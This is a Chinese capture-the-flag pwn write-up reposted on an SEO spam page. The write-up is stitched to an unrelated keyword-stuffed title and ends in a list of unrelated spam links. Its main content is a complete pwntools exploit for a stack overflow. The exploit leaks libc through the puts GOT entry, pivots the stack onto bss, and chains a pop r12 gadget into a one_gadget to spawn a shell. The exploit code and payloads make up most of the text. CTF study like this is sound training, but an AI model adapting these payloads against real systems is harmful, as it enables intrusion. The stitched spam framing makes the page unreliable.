当前位置: 首页 > news >正文

购物网站开发教程中文版武汉网络seo公司

购物网站开发教程中文版,武汉网络seo公司,网站建设需求调研过程,中小企业网络创业这道题我觉得可以记录一下。 主要函数,一样,先考虑怎么泄露libc基址。 但,0x20实在太小,组成不了连续3个ret syscall。 而且文件中也没pop rdi;ret这个gadget,只能另寻他法。 我们注意到: main函数中的这…

这道题我觉得可以记录一下。

主要函数,一样,先考虑怎么泄露libc基址。

但,0x20实在太小,组成不了连续3个ret syscall。

而且文件中也没pop rdi;ret这个gadget,只能另寻他法。

我们注意到:

 

main函数中的这个gadget就很棒,将rbp-0x10处的东西打印出来,后面再执行vuln。

程序没有PIE,所以直接让rbp去got[puts]+0x10就可以了。

以下是这部分exp:

goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))

泄露完基址,它会再执行vuln,我们就要考虑怎么getshell了。

一开始我打算直接用one_gadget,但全试了一遍,都不可以。

read 0x20,意味着即使我们栈迁移也执行写2个gadget,不行,处理rdi然后system起码也要三个。

说实话,我一开始想把栈迁移到got[puts]附近,

然后:

payload=b'/bin/sh\x00'+p64(system)+p64(0)+p64(gadget2)

将puts的got表覆盖成system,然后bsh会赋给rdi,成功getshell。

但是执行后会在system内部崩溃,是在push r15的位置。

一开始我还以为是因为覆盖了got表里面比较重要的数据,后来发现就是不能直接system,要用系统调用,无论如何这个方法是不行的,我们换一个。

当时想着起码控制连续3个gadget,发现可以在bss上这么构造:
 

contentaddress
0x401191(read()+leave,ret)
bss-0x20bss
ret3
ret2
ret1
........bss-0x20
.........
..........

这样就可以实现连续执行3个可以控制的gadget了。

一开始我中规中矩,

p64(rdi)+p64(bsh)+p64(system)

很可惜依然报错,看来就是system不能用。

现在想着这么系统调用,但是系统调用要的连续执行空间可就多了,很难构造。

所以反过来想能不能用比较少的gadget满足one_gadget的执行条件。

 经过反复对比,锁定了这个gadget,看看条件,rbp可以控制在bss上,肯定可写,bss上根本没什么数据,[rbp-0x70]=NULL也是轻而易举,那就剩下r12==NULL这个了,正好我们可以连续写3个gadget,那答案就呼之欲出了:
 

payload=p64(r12)+p64(0)+p64(one_gadget)

以下是完整exp:

from pwn import *
from LibcSearcher import *
from ctypes import *
elf=ELF('./pwn')
#io=remote('emoji.dayi.ink',22857)
io=process('./pwn')
context.arch='amd64'
libc=ELF('./libc.so.6')
#libc=elf.libc
goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(bss)+p64(gadget)
io.send(payload)
rdi=libc_base+0x2a3e5
rdx2=libc_base+0x11f2e7
leave=0x4011AD#gadget
ret=0x40122F
r12=libc_base+0x35731
rax=libc_base+0x45eb0
one_gadget=libc_base+0xebd38
payload=p64(0)+p64(one_gadget)+p64(bss-0x20)+p64(gadget)
io.send(payload)
payload=p64(ret)+p64(system)+p64(bss-0x20)+p64(r12)
io.send(payload)
io.interactive()

要注意的是发送一定要用send,不能sendline,不然会崩溃报错,读不进去数据,我也不知道为什么,很神奇,以前貌似遇到过。 

http://www.hkea.cn/news/894159/

相关文章:

  • 定制网站多少钱北京seo网站管理
  • 南昌做网站公司哪家好如何建立独立网站
  • 成都解放号网站建设什么是百度竞价
  • 网站优化的基本思想与原则百度号码
  • 沧州网站建设制作设计优化深圳seo优化推广
  • 建立一个网站需要什么技术网上培训机构
  • 网站设计与管理论文百度账号注册平台
  • 网站空间商推荐seo是什么职位缩写
  • 怎么建设boss网站文件外链
  • 百度推广网站建设费百度搜索引擎的网址是多少
  • php 手机网站 上传图片定制网站建设
  • 关于网站建设的问题百度关键词分析
  • 登录官方网站装修公司网络推广方案
  • 设计网站官网入口网站搜索优化方法
  • 网站优化qq群山东做网站
  • wordpress icomoon太原seo快速排名
  • 中华建设杂志网站记者数据指数
  • 网站开发测试情况南召seo快速排名价格
  • 上海仓储公司小红书seo优化
  • 南京建设公司网站网络营销整合推广
  • wordpress更改语言沈阳seo优化
  • wordpress免费网站世界大学排名
  • 做网站的属于什么专业?百度爱采购竞价推广
  • 网站建设一年多少恰东莞网站到首页排名
  • 新企业网站应该怎么做SEO优化广告联盟有哪些
  • 手机app开发网站建设软文推广文章案例
  • 网站自然排名百度经验官网登录
  • dz网站模板沧州网站优化公司
  • 桂林论坛天涯社区培训行业seo整站优化
  • 做伊瑞尔竞技场的网站搜索引擎简称seo